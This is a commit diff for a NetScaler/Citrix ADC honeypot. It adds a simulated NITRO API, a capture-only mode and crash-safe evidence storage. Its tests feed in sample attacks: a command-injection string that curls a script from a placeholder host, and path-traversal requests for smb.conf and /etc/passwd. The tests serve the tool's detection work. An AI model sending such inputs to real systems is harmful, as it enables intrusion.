Expand capture-only NetScaler NITRO simulation and crash recovery
This commit is contained in:
1 parent
7b99db9e25
commit
c65f049223
10 files changed
+2092
-14
No files matched your search
+5
-2
@@ -4,6 +4,8 @@
|
||||
# --- Decoy listener (honeypot.py) ---
|
||||
HONEYPOT_BIND=0.0.0.0
|
||||
HONEYPOT_PORT=8443
|
||||
# Synthetic NITRO identity only; does not change any installed appliance.
|
||||
HONEYPOT_VERSION="NetScaler NS14.1: Build 29.63.nc"
|
||||
# Exact transport IP allowed to speak PROXY v1 (your source-preserving ingress). Empty disables.
|
||||
HONEYPOT_PROXY_PROTOCOL_FROM=
|
||||
# Comma-separated CIDRs whose CF-Connecting-IP / X-Forwarded-For may be trusted
|
||||
@@ -24,8 +26,9 @@ INGRESS_ALLOW_FROM=
|
||||
VIEWER_BIND=127.0.0.1
|
||||
VIEWER_PORT=8787
|
||||
VIEWER_LOG_DIR=/var/lib/decoy/http
|
||||
# Extra client IPs to hide (the host's public IP is auto-detected). Comma-separated.
|
||||
# Extra client IPs to hide. Comma-separated. The supplied service disables public-IP discovery.
|
||||
VIEWER_HIDE_IP=
|
||||
|
||||
# --- VM execution backend (optional, isolated guest only) ---
|
||||
DECOY_VM_CONFIG=/etc/decoy-vm.json
|
||||
DECOY_VM_CONFIG=
|
||||
# Strict --simulation-only mode refuses a configured execution backend.
|
||||
@@ -43,6 +43,40 @@ exploit attempts, not a real appliance and not a vulnerability scanner.
|
||||
|
||||
## What it does
|
||||
|
||||
### Capture-only deployment
|
||||
|
||||
Use `--simulation-only` to refuse execution and URL fetching. The supplied HTTP service uses
|
||||
this mode and does not depend on an execution guest or relay. The loopback viewer service
|
||||
disables external public-IP discovery. These services create no backups.
|
||||
|
||||
The NITRO simulator supports login/logout cookies, configuration and statistics resource routes,
|
||||
named reads, fake POST/PUT/DELETE operations, enable/disable/rename acknowledgements, bindings,
|
||||
`attrs`, literal `filter`/`args`, counts and pagination. Its catalog recognizes 1,493 configuration
|
||||
names and 176 statistics names from the [official 14.1 reference](https://developer-docs.netscaler.com/en-us/adc-nitro-api/current-release/configuration/). Common appliance, network,
|
||||
Gateway, AAA, load-balancing, SSL and binding resources have populated synthetic data;
|
||||
unconfigured resources return empty collections. This is a protocol simulation, not a complete
|
||||
implementation of every resource's schema or firmware behaviour. Fake changes are bounded,
|
||||
per-source memory only and expire with sessions; NAT can merge clients. `HONEYPOT_VERSION`
|
||||
controls the invented firmware banner. Uploaded files never become operating-system files
|
||||
at submitted paths and are never served publicly.
|
||||
|
||||
JSON `systemfile.filecontent` uploads are base64-decoded into inert artifacts while preserving
|
||||
the original JSON body too. Binary, multipart, chunked and rejected-request evidence is retained
|
||||
by the existing capture layer. Files are committed with atomic rename and directory fsync;
|
||||
an interrupted journal tail is preserved separately from subsequent records.
|
||||
|
||||
The supplied systemd unit restarts ordinary service crashes after five seconds. Enable VM
|
||||
autostart separately when deploying on a hypervisor. Storage/capture failure
|
||||
sets an evidence-directory `STOP` latch and exits78, preventing automatic restart. Review
|
||||
storage and preserve captured evidence before explicitly clearing that latch. Capture has a
|
||||
configurable evidence quota, a 16MiB request-body limit and eight concurrent requests. Cloudflare/NPM
|
||||
may reject or normalize traffic before it reaches the collector; unread/rejected bytes beyond
|
||||
these boundaries cannot be promised as captured.
|
||||
|
||||
Checks: `python3 test_nitro.py`, `python3 test_capture.py`, `python3 test_honeypot.py` and
|
||||
`python3 test_safety.py`. Optional execution tools described below are incompatible with
|
||||
`--simulation-only` and are not used by the supplied HTTP service.
|
||||
|
||||
- Serves a realistic **NetScaler Gateway / Citrix ADC login** (German AAA page) at `/`,
|
||||
`/vpn/index.html`, `/vpn/tmindex.html`, `/logon/LogonPoint/*`, `/menu/neo/`, with the
|
||||
`rdx`/`CTXS` scripts and favicon fingerprint that scanners look for.
|
||||
@@ -82,7 +116,7 @@ git clone <your-fork-url> citrixpot && cd citrixpot
|
||||
cp .env.example .env # edit to taste
|
||||
python3 test_honeypot.py # run the test suite
|
||||
set -a; . ./.env; set +a
|
||||
python3 honeypot.py & # decoy on http://127.0.0.1:8443
|
||||
python3 honeypot.py --simulation-only & # decoy on http://127.0.0.1:8443
|
||||
python3 viewer.py # analyst UI on http://127.0.0.1:8787
|
||||
```
|
||||
|
||||
@@ -97,6 +131,7 @@ All settings come from the environment (or a `.env` file / systemd `EnvironmentF
|
||||
| Variable | Purpose |
|
||||
|---|---|
|
||||
| `HONEYPOT_BIND`, `HONEYPOT_PORT` | decoy listen address/port |
|
||||
| `HONEYPOT_VERSION` | synthetic NITRO firmware banner |
|
||||
| `HONEYPOT_PROXY_PROTOCOL_FROM` | transport IP allowed to send PROXY v1 (your ingress) |
|
||||
| `HONEYPOT_TRUSTED_FORWARDED_FROM` | edge/proxy hops whose client-IP headers may be trusted |
|
||||
| `HONEYPOT_LOG_DIR`, `HONEYPOT_EVIDENCE_MIB` | evidence directory and quota |
|
||||
|
||||
@@ -3,7 +3,7 @@ Description=Local read-only honeypot evidence viewer (loopback only)
|
||||
After=network-online.target
|
||||
[Service]
|
||||
EnvironmentFile=/etc/decoy.env
|
||||
ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR}
|
||||
ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --no-hide-public-ip --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR}
|
||||
WorkingDirectory=/opt/decoy
|
||||
UMask=0077
|
||||
NoNewPrivileges=true
|
||||
@@ -14,6 +14,7 @@ ReadOnlyPaths=/var/lib/decoy
|
||||
RestrictAddressFamilies=AF_INET
|
||||
MemoryMax=256M
|
||||
TasksMax=32
|
||||
Restart=no
|
||||
Restart=on-failure
|
||||
RestartSec=5
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -1,16 +1,19 @@
|
||||
[Unit]
|
||||
Description=NetScaler decoy HTTP and evidence collector
|
||||
After=network-online.target decoy-network.service
|
||||
Requires=decoy-network.service
|
||||
After=network-online.target
|
||||
StartLimitIntervalSec=300
|
||||
StartLimitBurst=10
|
||||
[Service]
|
||||
EnvironmentFile=/etc/decoy.env
|
||||
# Simulation only: attacker commands are parsed, stored and answered, never executed.
|
||||
# Real execution additionally requires --vm-config + --allow-real-execution and an isolated guest;
|
||||
# never enable it on an internet-facing listener. All values come from /etc/decoy.env.
|
||||
ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --fetch-payloads --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB}
|
||||
ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --simulation-only --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB}
|
||||
WorkingDirectory=/opt/decoy
|
||||
UMask=0077
|
||||
Restart=no
|
||||
Restart=on-failure
|
||||
RestartSec=5
|
||||
RestartPreventExitStatus=78
|
||||
NoNewPrivileges=true
|
||||
PrivateTmp=true
|
||||
ProtectSystem=strict
|
||||
|
||||
+24
-2
@@ -6,6 +6,7 @@ import os
|
||||
import pathlib
|
||||
import threading
|
||||
import time
|
||||
import tempfile
|
||||
|
||||
|
||||
class EvidenceError(OSError):
|
||||
@@ -25,6 +26,21 @@ class Evidence:
|
||||
self.used = sum(p.stat().st_size for p in self.directory.rglob('*') if p.is_file())
|
||||
self.journal = os.open(self.directory / 'events.jsonl', os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600)
|
||||
os.fchmod(self.journal, 0o600)
|
||||
# Preserve a crash-interrupted record without merging the next event into it.
|
||||
with (self.directory / 'events.jsonl').open('rb') as previous:
|
||||
previous.seek(0, os.SEEK_END)
|
||||
if previous.tell():
|
||||
previous.seek(-1, os.SEEK_END)
|
||||
if previous.read(1) != b'\n':
|
||||
self.reserve(1)
|
||||
os.write(self.journal, b'\n')
|
||||
os.fsync(self.journal)
|
||||
self.used += 1
|
||||
directory = os.open(self.directory, os.O_RDONLY)
|
||||
try:
|
||||
os.fsync(directory)
|
||||
finally:
|
||||
os.close(directory)
|
||||
|
||||
def reserve(self, size):
|
||||
if self.used + size > self.quota:
|
||||
@@ -50,14 +66,20 @@ class Evidence:
|
||||
with self.lock:
|
||||
if not path.exists():
|
||||
self.reserve(len(data))
|
||||
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600)
|
||||
fd, temporary = tempfile.mkstemp(prefix='.capture-', dir=self.artifacts)
|
||||
try:
|
||||
with os.fdopen(fd, 'wb') as output:
|
||||
output.write(data)
|
||||
output.flush()
|
||||
os.fsync(output.fileno())
|
||||
os.replace(temporary, path)
|
||||
directory = os.open(self.artifacts, os.O_RDONLY)
|
||||
try:
|
||||
os.fsync(directory)
|
||||
finally:
|
||||
os.close(directory)
|
||||
except BaseException:
|
||||
path.unlink(missing_ok=True) # do not leave a partial blob with a full-content hash
|
||||
pathlib.Path(temporary).unlink(missing_ok=True)
|
||||
raise
|
||||
self.used += len(data)
|
||||
return dict(sha256=digest, bytes=len(data), artifact='artifacts/' + path.name)
|
||||
|
||||
+49
-2
@@ -1,6 +1,8 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Experimental CVE-2026-88771 decoy. Simulation by default; opt-in disposable VM execution."""
|
||||
import argparse
|
||||
import base64
|
||||
import binascii
|
||||
import collections
|
||||
import email.parser
|
||||
import email.policy
|
||||
@@ -8,6 +10,7 @@ import hashlib
|
||||
import html
|
||||
import http.server
|
||||
import ipaddress
|
||||
import json
|
||||
import os
|
||||
import pathlib
|
||||
import posixpath
|
||||
@@ -21,6 +24,7 @@ import time
|
||||
import urllib.parse
|
||||
from trusted_proxy import source as proxy_source, forwarded_client
|
||||
from evidence import Evidence, EvidenceError, RecordingReader
|
||||
from nitro import respond as nitro_response
|
||||
from env_file import load, env_int
|
||||
|
||||
MAX_BODY = 16 * 1024 * 1024
|
||||
@@ -305,7 +309,7 @@ class Server(http.server.ThreadingHTTPServer):
|
||||
# Only a hop (the PROXY-declared source) inside one of these networks may set client headers.
|
||||
self.trusted_forwarded = [ipaddress.ip_network(value, strict=False) for value in trusted_forwarded]
|
||||
self.capture_failed = False
|
||||
self.slots = threading.BoundedSemaphore(32)
|
||||
self.slots = threading.BoundedSemaphore(8)
|
||||
self.local = threading.local()
|
||||
super().__init__(address, Handler)
|
||||
|
||||
@@ -367,6 +371,15 @@ class Server(http.server.ThreadingHTTPServer):
|
||||
if self.capture_failed:
|
||||
return
|
||||
self.capture_failed = True
|
||||
if self.engine.save:
|
||||
store = getattr(self.engine.save, '__self__', None)
|
||||
if isinstance(store, Evidence):
|
||||
try:
|
||||
marker = store.directory / 'STOP'
|
||||
marker.write_text('Capture failed; preserve evidence and review storage before clearing.\n')
|
||||
marker.chmod(0o600)
|
||||
except OSError:
|
||||
pass
|
||||
if self.engine.backend:
|
||||
try:
|
||||
self.engine.backend.close(trip=True)
|
||||
@@ -522,6 +535,19 @@ class Handler(http.server.BaseHTTPRequestHandler):
|
||||
except ValueError:
|
||||
self.event('form_parse_error', raw_body_retained=True)
|
||||
return []
|
||||
if kind == 'application/json':
|
||||
try:
|
||||
document = json.loads(body)
|
||||
files = document.get('systemfile', []) if isinstance(document, dict) else []
|
||||
files = [files] if isinstance(files, dict) else files
|
||||
if isinstance(files, list):
|
||||
for item in files[:128]:
|
||||
if isinstance(item, dict) and isinstance(item.get('filecontent'), str):
|
||||
content = base64.b64decode(item['filecontent'], validate=True)
|
||||
self.event('upload', filename=item.get('filename'), field='systemfile.filecontent',
|
||||
content_type='application/octet-stream', content=content)
|
||||
except (ValueError, RecursionError, binascii.Error):
|
||||
self.event('json_upload_parse_error', raw_body_retained=True)
|
||||
if body:
|
||||
self.event('upload_or_raw_payload', filename=None, content=body)
|
||||
if self.server.engine.backend:
|
||||
@@ -568,6 +594,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
|
||||
auth_fields.intersection({'passwd', 'password', 'pwd', 'passcode'})):
|
||||
engine.auth_attempt(state, self.context, url.path)
|
||||
vm_read_path = None
|
||||
extra_headers = []
|
||||
with engine.lock:
|
||||
candidates = [('uri', urllib.parse.unquote(self.path))]
|
||||
candidates += [('header:' + key, value) for key, value in self.headers.items()]
|
||||
@@ -582,6 +609,9 @@ class Handler(http.server.BaseHTTPRequestHandler):
|
||||
'<StateContext>' + html.escape(state.sid) + '</StateContext>'
|
||||
'</AuthenticateResponse>').encode()
|
||||
mime = 'application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8'
|
||||
elif url.path.startswith('/nitro/'):
|
||||
code, result, extra_headers = nitro_response(state, self.command, url, body, self.headers)
|
||||
data, mime = json.dumps(result).encode(), 'application/json'
|
||||
elif url.path not in LOGIN_PATHS:
|
||||
key = posixpath.normpath(WEBROOT + '/' + urllib.parse.unquote(url.path).lstrip('/'))
|
||||
if not self.server.serve_guest_files:
|
||||
@@ -611,6 +641,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
|
||||
"img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; "
|
||||
"connect-src 'self' citrixng:// com.citrix.nsgclient:// nsgcepa://; "
|
||||
"report-uri /nscsp_violation/report_uri")]
|
||||
headers.extend(extra_headers)
|
||||
self.event('response', status=code, headers=headers, content=data,
|
||||
body_suppressed=self.command == 'HEAD')
|
||||
self.send_response(code)
|
||||
@@ -642,6 +673,7 @@ def parse_trusted(spec):
|
||||
def main():
|
||||
load()
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument('--simulation-only', action='store_true', help='refuse real execution and URL fetching')
|
||||
parser.add_argument('--hide-guest-files', action='store_true', help='serve only fixed NetScaler UI/auth routes over HTTP')
|
||||
parser.add_argument('--vm-config', default=os.environ.get('DECOY_VM_CONFIG') or None,
|
||||
help='opt-in dedicated disposable guest SSH configuration')
|
||||
@@ -663,6 +695,8 @@ def main():
|
||||
parser.add_argument('--evidence-mib', type=int, default=env_int('HONEYPOT_EVIDENCE_MIB', 1024),
|
||||
help='total evidence quota; stop rather than overwrite at this limit')
|
||||
args = parser.parse_args()
|
||||
if args.simulation_only and (args.vm_config or args.allow_real_execution or args.fetch_payloads):
|
||||
parser.error('--simulation-only cannot use execution or payload fetching')
|
||||
if bool(args.cert) != bool(args.key) or not 0 <= args.delay <= 86400 or args.evidence_mib < 1:
|
||||
parser.error('provide both cert/key; delay must be 0..86400; evidence-mib must be positive')
|
||||
if args.vm_config and not args.allow_real_execution:
|
||||
@@ -671,7 +705,14 @@ def main():
|
||||
parser.error('--allow-real-execution requires --vm-config')
|
||||
os.umask(0o077)
|
||||
directory = pathlib.Path(args.log_dir)
|
||||
if (directory / 'STOP').exists():
|
||||
print('Capture STOP latch exists; review storage before clearing.', file=sys.stderr)
|
||||
raise SystemExit(78)
|
||||
try:
|
||||
evidence = Evidence(directory, args.evidence_mib * 1024 * 1024)
|
||||
except OSError as error:
|
||||
print(f'Evidence storage unavailable: {error}', file=sys.stderr)
|
||||
raise SystemExit(78)
|
||||
context = None
|
||||
if args.cert:
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
@@ -699,10 +740,16 @@ def main():
|
||||
server.stop_capture(error)
|
||||
break
|
||||
threading.Thread(target=worker, daemon=True).start()
|
||||
try:
|
||||
engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port,
|
||||
delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY,
|
||||
serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend),
|
||||
payload_fetch=bool(engine.fetcher))
|
||||
except EvidenceError as error:
|
||||
server.stop_capture(error)
|
||||
server.server_close()
|
||||
evidence.close()
|
||||
raise SystemExit(78)
|
||||
if engine.backend:
|
||||
print('WARNING: real execution enabled; attacker commands run only in the isolated disposable guest',
|
||||
file=sys.stderr, flush=True)
|
||||
@@ -721,7 +768,7 @@ def main():
|
||||
server.server_close()
|
||||
evidence.close()
|
||||
if server.capture_failed:
|
||||
raise SystemExit(1)
|
||||
raise SystemExit(78)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,174 @@
|
||||
"""Inert NITRO responses. All mutations affect bounded per-source dictionaries only."""
|
||||
import copy
|
||||
import datetime
|
||||
import json
|
||||
import os
|
||||
import pathlib
|
||||
import secrets
|
||||
import urllib.parse
|
||||
from http.cookies import SimpleCookie, CookieError
|
||||
|
||||
RESOURCES = json.loads(pathlib.Path(__file__).with_name('nitro-resources.json').read_text())
|
||||
CONFIG = {
|
||||
'nsversion': [dict(version=os.environ.get('HONEYPOT_VERSION', 'NetScaler NS14.1: Build 29.63.nc'), mode=0)],
|
||||
'nshardware': [dict(hwdescription='NetScaler Virtual Appliance', serialno='VMPE00000001')],
|
||||
'nshostname': [dict(hostname='adc-gateway')],
|
||||
'nsconfig': [dict(ipaddress='198.51.100.10', netmask='255.255.255.0', changed=False, configchanged=False)],
|
||||
'nsip': [dict(ipaddress='198.51.100.10', netmask='255.255.255.0', type='NSIP', state='ENABLED', gui='SECUREONLY'),
|
||||
dict(ipaddress='198.51.100.11', netmask='255.255.255.0', type='SNIP', state='ENABLED')],
|
||||
'nsfeature': [dict(lb=True, cs=True, ssl=True, sslvpn=True, aaa=True, rewrite=True, responder=True)],
|
||||
'nsmode': [dict(fr=True, l3=True, usnip=True, pmtud=True)],
|
||||
'nslicense': [dict(licensetype='Premium', modelid='1000', ssl=True, sslvpn=True)],
|
||||
'nsparam': [dict(timezone='GMT', cookieversion='0', maxconn=0)],
|
||||
'hanode': [dict(id=0, ipaddress='198.51.100.10', state='UP', hastatus='YES', masterstate='Primary')],
|
||||
'interface': [dict(id='1/1', state='ENABLED', curstate='UP', mtu=1500, mac='00:50:56:01:02:03')],
|
||||
'vlan': [dict(id=1, aliasname='DEFAULT')],
|
||||
'route': [dict(network='0.0.0.0', netmask='0.0.0.0', gateway='198.51.100.1', distance=1)],
|
||||
'dnsnameserver': [dict(ip='198.51.100.53', state='ENABLED')],
|
||||
'server': [dict(name='app01', ipaddress='198.51.100.20', state='ENABLED')],
|
||||
'service': [dict(name='svc_app_https', servername='app01', ip='198.51.100.20', port=443,
|
||||
servicetype='SSL', state='ENABLED', curstate='UP')],
|
||||
'servicegroup': [dict(servicegroupname='sg_apps', servicetype='SSL', state='ENABLED')],
|
||||
'lbvserver': [dict(name='lb_apps', ipv46='198.51.100.12', port=443, servicetype='SSL',
|
||||
lbmethod='LEASTCONNECTION', state='ENABLED', curstate='UP')],
|
||||
'csvserver': [dict(name='cs_apps', ipv46='198.51.100.12', port=443, servicetype='SSL', state='ENABLED')],
|
||||
'vpnvserver': [dict(name='vpn_gateway', ipv46='198.51.100.10', port=443, servicetype='SSL',
|
||||
state='ENABLED', curstate='UP', authentication='ON')],
|
||||
'vpnsessionaction': [dict(name='vpn_default', defaultauthorizationaction='ALLOW', clientlessvpnmode='OFF')],
|
||||
'vpnsessionpolicy': [dict(name='vpn_default_policy', rule='true', action='vpn_default')],
|
||||
'vpnportaltheme': [dict(name='RfWebUI', basetheme='RfWebUI')],
|
||||
'authenticationvserver': [dict(name='aaa_gateway', servicetype='SSL', authenticationdomain='corp.invalid', state='ENABLED')],
|
||||
'authenticationldapaction': [dict(name='ldap_corp', serverip='198.51.100.30', serverport=636,
|
||||
ldapbase='dc=corp,dc=invalid', sectype='SSL')],
|
||||
'authenticationldappolicy': [dict(name='ldap_policy', rule='ns_true', reqaction='ldap_corp')],
|
||||
'systemuser': [dict(username='nsroot', timeout=900)],
|
||||
'systemgroup': [dict(groupname='administrators', timeout=900)],
|
||||
'sslcertkey': [dict(certkey='gateway_cert', cert='/nsconfig/ssl/gateway.crt', key='/nsconfig/ssl/gateway.key', status='Valid')],
|
||||
'sslvserver': [dict(vservername='vpn_gateway', ssl3='DISABLED', tls1='DISABLED', tls12='ENABLED', tls13='ENABLED')],
|
||||
'lbvserver_service_binding': [dict(name='lb_apps', servicename='svc_app_https', weight=1)],
|
||||
'vpnvserver_vpnsessionpolicy_binding': [dict(name='vpn_gateway', policy='vpn_default_policy', priority=100)],
|
||||
'vpnvserver_sslcertkey_binding': [dict(name='vpn_gateway', certkeyname='gateway_cert')],
|
||||
'servicegroup_servicegroupmember_binding': [dict(servicegroupname='sg_apps', ip='198.51.100.20', port=443, weight=1)],
|
||||
'systemuser_systemgroup_binding': [dict(username='nsroot', groupname='administrators')],
|
||||
'auditnslogparams': [dict(serverip='198.51.100.40', serverport=3020, loglevel=['ERROR', 'WARNING'])],
|
||||
'snmpmib': [dict(contact='Network Operations', location='Datacenter', name='adc-gateway')],
|
||||
'ntpserver': [dict(serverip='198.51.100.123', preferred='YES')],
|
||||
'systemfile': [],
|
||||
'nsrunningconfig': [dict(response='set ns hostName adc-gateway\nadd server app01 198.51.100.20\n')],
|
||||
'nssavedconfig': [dict(response='set ns hostName adc-gateway\nadd server app01 198.51.100.20\n')],
|
||||
}
|
||||
KEYS = ('name', 'servicegroupname', 'username', 'groupname', 'certkey', 'vservername', 'ipaddress', 'ip', 'id', 'filename')
|
||||
|
||||
|
||||
def reply(status=200, errorcode=0, message='Done', **data):
|
||||
return status, dict(errorcode=errorcode, message=message, severity='ERROR' if errorcode else 'NONE', **data), []
|
||||
|
||||
|
||||
def identity(row):
|
||||
return next((str(row[k]) for k in KEYS if k in row), '')
|
||||
|
||||
|
||||
def respond(state, method, url, body, headers):
|
||||
parts = url.path.strip('/').split('/', 4)
|
||||
if len(parts) < 4 or parts[:2] != ['nitro', 'v1'] or parts[2] not in RESOURCES:
|
||||
return reply(404, 258, 'Invalid resource type')
|
||||
kind, resource = parts[2:4]
|
||||
name = urllib.parse.unquote(parts[4]) if len(parts) > 4 else ''
|
||||
try:query = dict(urllib.parse.parse_qsl(url.query, max_num_fields=128))
|
||||
except ValueError:return reply(400, 258, 'Invalid argument')
|
||||
if not hasattr(state, 'nitro'):
|
||||
state.nitro = dict(token=None, data={})
|
||||
fake = state.nitro
|
||||
payload = {}
|
||||
if method in ('POST', 'PUT', 'PATCH') and body:
|
||||
try:
|
||||
# Large systemfile bodies are captured separately; never retain their bytes in fake config.
|
||||
payload = json.loads(body) if len(body) <= 65536 else ({'systemfile': {}} if resource == 'systemfile' else None)
|
||||
if not isinstance(payload, dict):raise ValueError()
|
||||
except (ValueError, RecursionError):
|
||||
return reply(400, 258, 'Invalid argument')
|
||||
if resource == 'login' and kind == 'config' and method == 'POST':
|
||||
login = payload.get('login', {})
|
||||
if not isinstance(login, dict) or not login.get('username') or not login.get('password'):
|
||||
return reply(400, 258, 'Invalid argument')
|
||||
fake['token'] = '##' + secrets.token_hex(16).upper()
|
||||
status, result, extra = reply(201, sessionid=fake['token'], login=[dict(sessionid=fake['token'])])
|
||||
extra.append(('Set-Cookie', 'NITRO_AUTH_TOKEN='+fake['token']+'; Path=/nitro/v1; Secure; HttpOnly'))
|
||||
return status, result, extra
|
||||
cookie = SimpleCookie()
|
||||
try:cookie.load(headers.get('Cookie', ''))
|
||||
except CookieError:pass
|
||||
token = cookie.get('NITRO_AUTH_TOKEN')
|
||||
auth = bool(token and fake['token'] and token.value == fake['token'])
|
||||
# These credentials authenticate only this invented appliance, never an external system.
|
||||
auth |= bool(headers.get('X-NITRO-USER') and headers.get('X-NITRO-PASS'))
|
||||
auth |= headers.get('Authorization', '').startswith('Basic ')
|
||||
if not auth:return reply(401, 444, 'Authentication required')
|
||||
if resource == 'logout' and method == 'POST':
|
||||
fake['token'] = None
|
||||
status, result, extra = reply(201)
|
||||
extra.append(('Set-Cookie', 'NITRO_AUTH_TOKEN=; Path=/nitro/v1; Max-Age=0'))
|
||||
return status, result, extra
|
||||
if resource not in RESOURCES[kind] and resource not in CONFIG:
|
||||
return reply(404, 258, 'Invalid resource type')
|
||||
rows = copy.deepcopy(fake['data'].get(resource, CONFIG.get(resource, [])))
|
||||
if resource.endswith('_binding') and not rows:
|
||||
root = resource[:-8]
|
||||
for item in CONFIG.get(root, []):
|
||||
bindings = {key:copy.deepcopy(value) for key,value in CONFIG.items()
|
||||
if key.startswith(root+'_') and key.endswith('_binding')}
|
||||
if bindings:rows.append(dict(name=identity(item), **bindings))
|
||||
if kind == 'stat':
|
||||
if not rows:rows = [dict(name=name)] if name else [{}]
|
||||
for row in rows:
|
||||
row.update(totalrequests='0', requestsrate=0, establishedconn='0', throughput='0', throughputrate=0)
|
||||
if resource == 'system':row.update(cpuusage=2, memusagepcnt=18, disk0perusage=9)
|
||||
if resource == 'ns':row.update(totrxmbits='0', tottxmbits='0', tcpcurclientconn='0')
|
||||
if resource == 'nstime':rows = [dict(time=datetime.datetime.now(datetime.timezone.utc).strftime('%a %b %d %H:%M:%S %Y'))]
|
||||
if method in ('GET', 'HEAD'):
|
||||
if name:rows = [row for row in rows if identity(row) == name]
|
||||
for key in ('filter', 'args'):
|
||||
# ponytail: literal filters; add bounded regex matching if a client needs it.
|
||||
for condition in query.get(key, '').split(','):
|
||||
if ':' in condition:
|
||||
field, value = condition.split(':', 1)
|
||||
rows = [row for row in rows if str(row.get(field, '')) == value]
|
||||
if query.get('count') == 'yes':rows = [dict(__count=len(rows))]
|
||||
else:
|
||||
try:
|
||||
size = min(1000, max(1, int(query.get('pagesize', 1000))))
|
||||
page = max(1, int(query.get('pageno', 1)))
|
||||
except ValueError:return reply(400, 258, 'Invalid argument')
|
||||
rows = rows[(page-1)*size:page*size]
|
||||
if query.get('attrs'):
|
||||
attrs = set(query['attrs'].split(','));rows = [{k:v for k,v in row.items() if k in attrs} for row in rows]
|
||||
return reply(**{resource: rows})
|
||||
if method == 'OPTIONS':return 200, {}, [('Allow', 'GET, HEAD, POST, PUT, DELETE, OPTIONS')]
|
||||
if kind == 'stat':return reply(405, 258, 'Method not allowed')
|
||||
if method == 'DELETE':
|
||||
if not name:return reply(400, 258, 'Invalid argument')
|
||||
rows = [row for row in rows if identity(row) != name]
|
||||
elif method in ('POST', 'PUT'):
|
||||
incoming = payload.get(resource)
|
||||
if not isinstance(incoming, (dict, list)):return reply(400, 258, 'Invalid argument')
|
||||
incoming = incoming if isinstance(incoming, list) else [incoming]
|
||||
if len(incoming) > 128 or any(not isinstance(row, dict) for row in incoming):return reply(400, 258, 'Invalid argument')
|
||||
action = query.get('action')
|
||||
if action and action not in ('enable', 'disable', 'rename'):
|
||||
# Administrative actions are acknowledgements, never operations on this host.
|
||||
return reply()
|
||||
for row in incoming:
|
||||
row = {k:v for k,v in row.items() if k not in ('password', 'filecontent')}
|
||||
old = next((item for item in rows if identity(item) == identity(row)), None)
|
||||
if action in ('enable', 'disable'):
|
||||
row['state'] = 'ENABLED' if action == 'enable' else 'DISABLED'
|
||||
if action == 'rename' and 'newname' in row:row['name'] = row.pop('newname')
|
||||
if old is None:rows.append(row)
|
||||
else:old.update(row)
|
||||
else:return reply(405, 258, 'Method not allowed')
|
||||
updated = dict(fake['data'], **{resource:rows})
|
||||
try:
|
||||
if len(json.dumps(updated)) > 65536:return reply(503, 258, 'Resource limit reached')
|
||||
except (ValueError, RecursionError):return reply(400, 258, 'Invalid argument')
|
||||
fake['data'] = updated
|
||||
return reply(201 if method == 'POST' and not query.get('action') else 200)
|
||||
+47
-1
@@ -5,6 +5,9 @@ import json
|
||||
import pathlib
|
||||
import tempfile
|
||||
import threading
|
||||
import subprocess
|
||||
import sys
|
||||
from unittest.mock import patch
|
||||
|
||||
from honeypot import Engine, Server, extract
|
||||
from evidence import Evidence
|
||||
@@ -33,6 +36,12 @@ def main():
|
||||
return result
|
||||
|
||||
try:
|
||||
status, response = request('POST', '/nitro/v1/config/login', b'{"login":{"username":"capture-check","password":"inert"}}',
|
||||
{'Content-Type': 'application/json'})
|
||||
assert status == 201 and json.loads(response)['login'][0]['sessionid']
|
||||
auth = {'Cookie': 'NITRO_AUTH_TOKEN=' + json.loads(response)['sessionid']}
|
||||
assert json.loads(request('GET', '/nitro/v1/stat/system', headers=auth)[1])['system'][0]['cpuusage'] == 2
|
||||
assert engine.backend is None and engine.fetcher is None
|
||||
request('GET', '/vpn/../vpns/cfg/smb.conf')
|
||||
assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows)
|
||||
request('GET', '/../../etc/passwd')
|
||||
@@ -44,7 +53,7 @@ def main():
|
||||
request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'})
|
||||
digest = hashlib.sha256(payload).hexdigest()
|
||||
assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload
|
||||
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload')
|
||||
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload' and e['evidence']['sha256'] == digest)
|
||||
assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'}
|
||||
|
||||
assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \
|
||||
@@ -62,6 +71,43 @@ def main():
|
||||
kinds = {e['event'] for e in journal}
|
||||
